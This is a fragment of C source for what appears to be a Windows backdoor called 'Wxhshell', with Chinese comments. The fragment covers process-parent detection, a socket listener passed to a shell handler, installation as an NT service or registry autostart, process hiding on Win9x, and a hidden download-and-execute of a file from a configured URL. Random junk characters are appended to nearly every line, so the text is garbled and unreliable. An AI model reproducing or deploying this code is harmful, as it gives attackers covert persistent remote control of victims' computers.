ULONG InheritedFromUniqueProcessId; PR$;*|@
} PROCESS_BASIC_INFORMATION;
rJCb8x+5a
vW vu&3tx
PROCNTQSIP NtQueryInformationProcess; YC56]Zp
xz5A[)N
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qz (x
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nf3UVK8LtS
G\;6n
HANDLE hProcess; 4:N*C7P
PROCESS_BASIC_INFORMATION pbi;
HDZl;=
ykPiZK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "opMS/a"7
if(NULL == hInst ) return 0; >X05f#c"v/
5Lej_uqF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 25{_x3t^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'EXx'z;/#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *`Vm ncv3
ZcyGLg0I
if (!NtQueryInformationProcess) return 0; }58MDpOF1
DR:$urU$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &s(&B>M
if(!hProcess) return 0; 0.n[_?<(
~tW~%]bs2Q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x4H#8ZK!
ow3.jHsLA
CloseHandle(hProcess); T:Klr=&V
$Emu*'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dpw*m.f
if(hProcess==NULL) return 0; `a|&aj0
'= fk;AiQ
HMODULE hMod; 9iZio3m
char procName[255]; .)!QsBU
unsigned long cbNeeded; 3+>n!8x ;A
RE%f'y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M]/aW
CYW@Km{e
CloseHandle(hProcess); PKSfu++Z
~RuX2u-2&u
if(strstr(procName,"services")) return 1; // 以服务启动 6,3o_"J!
&o;0%QgF
return 0; // 注册表启动 Q]xkDr?
} jBw)8~tYm
"/i$_vl
// 主模块 $?0ch15/
int StartWxhshell(LPSTR lpCmdLine) IFX$\+-
{ uD&B{c+a
SOCKET wsl; qM(}|fMbN
BOOL val=TRUE; +hmFFQQ}
int port=0; ;X,u
struct sockaddr_in door; |0y#} |/
<s'de$[
if(wscfg.ws_autoins) Install(); }bjZeh.
yS\&2"o
port=atoi(lpCmdLine); d7X&3L%Oq
E6A"Xo
if(port<=0) port=wscfg.ws_port; tUJRNEg
St-uE|8
WSADATA data; mUh]`/MK$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e yJ07
Yv;s3>r
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YZBh}l6t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZYwcB]xEz
door.sin_family = AF_INET; LmF ,en5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]yU"J:/
door.sin_port = htons(port); I9*cEZ!l=e
jV3PTU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3yZmW$E.
closesocket(wsl); g\JJkXjD#
return 1; H$(bSw$
} ~f1g"
R2~Tr$:
if(listen(wsl,2) == INVALID_SOCKET) { `C+<!)2
closesocket(wsl); k&]nF,f
return 1; w
)R5P[b
} %fqR
Wxhshell(wsl); /~[Lr
WSACleanup(); %iN>4;T8
?['!0PF
return 0; ,S8 K!
yw3"jdcl
} x *eU~e_jP
\c=I!<9
// 以NT服务方式启动 }{o!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #<im?
{ Ej(Jj\
DWORD status = 0; IHl q27O
DWORD specificError = 0xfffffff; A =Wg0eYy\
sHP-@
serviceStatus.dwServiceType = SERVICE_WIN32; n|SV)92o1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;;Q^/rkC
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l4Xz r:]
serviceStatus.dwWin32ExitCode = 0; _u`YjzK
serviceStatus.dwServiceSpecificExitCode = 0; > VG
serviceStatus.dwCheckPoint = 0; wl
Oeoi
serviceStatus.dwWaitHint = 0; 4q$~3C[
rz?Cn
X.t
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^PksXfk
if (hServiceStatusHandle==0) return; [4Z 31v>
Y::0v@&(
status = GetLastError(); *sho/[~_
if (status!=NO_ERROR) R?2sbK4Cz
{ |y\Km
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^NW[)Dq1<
serviceStatus.dwCheckPoint = 0; `2~>$Tr
serviceStatus.dwWaitHint = 0; Wgq|Q*
serviceStatus.dwWin32ExitCode = status; '=\}dav!
serviceStatus.dwServiceSpecificExitCode = specificError; IP~!E_e}\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J~Xv R
return; $Gn.G_"v
} R$a<=
hGR j
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q=\
Oa(I
serviceStatus.dwCheckPoint = 0; T5BZD
+Ta
serviceStatus.dwWaitHint = 0; )Nv1_en<!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Z.6\G&q
} +8=$-E=
<P9fNBGa
// 处理NT服务事件,比如:启动、停止 .p`4>XA
VOID WINAPI NTServiceHandler(DWORD fdwControl) s:`i~hjq
{ ?mQ^"9^XS
switch(fdwControl) ntiS7g e1
{ W+nu=iQ!
case SERVICE_CONTROL_STOP: =bC
+1
C
serviceStatus.dwWin32ExitCode = 0; 8OfQ :
serviceStatus.dwCurrentState = SERVICE_STOPPED; Rd?}<L
serviceStatus.dwCheckPoint = 0; ,!ZuH?Z
serviceStatus.dwWaitHint = 0; }fpya2Xt
{ QaX.Av
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WKf<%
E$
} ."K>h3(&V
return; 'Pz%c}hJ
case SERVICE_CONTROL_PAUSE: kH!Z|Ps?R
serviceStatus.dwCurrentState = SERVICE_PAUSED; `h}eP[jA
break; C
\ Cc[v
case SERVICE_CONTROL_CONTINUE: ,N/@=As9$
serviceStatus.dwCurrentState = SERVICE_RUNNING; E' 5*w6
break; x"W~m.y$h
case SERVICE_CONTROL_INTERROGATE: BT{;^Hp
break; HN47/]"*
}; r^9l/H~$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [)H 6`w
} urp|@WZ
NgNGq\!
// 标准应用程序主函数 MsB>3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c0Ug5Vr
{ H$6RDMU
8(3(kZx S
// 获取操作系统版本 B6XO&I1c
OsIsNt=GetOsVer(); =j]y?;7q
GetModuleFileName(NULL,ExeFile,MAX_PATH); |%_C$s%
Z:b?^u4.
// 从命令行安装 :\](m64z;
if(strpbrk(lpCmdLine,"iI")) Install(); s"(RdJ-,
7KT*p&xm
// 下载执行文件 \u=d`}E
if(wscfg.ws_downexe) { 2Gyq40
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PjQl(v&O
WinExec(wscfg.ws_filenam,SW_HIDE); b#2)" V(
} pDQ
f(@M[
dQX-s=XJ
if(!OsIsNt) { |jsI-?%8J
// 如果时win9x,隐藏进程并且设置为注册表启动 .Xg.,kW
HideProc(); OqGp|`
StartWxhshell(lpCmdLine); I2}W /}
} <J%qzt}
else F)P:lvp<r
if(StartFromService()) =g% L$b<i
// 以服务方式启动 3ML][|TR
StartServiceCtrlDispatcher(DispatchTable); .[={Yx0!I
else }_Bo:*9B-o
// 普通方式启动 '2,~'Zk
StartWxhshell(lpCmdLine); K5>3
*i#2>=)
return 0; ;_sJ>.=\
}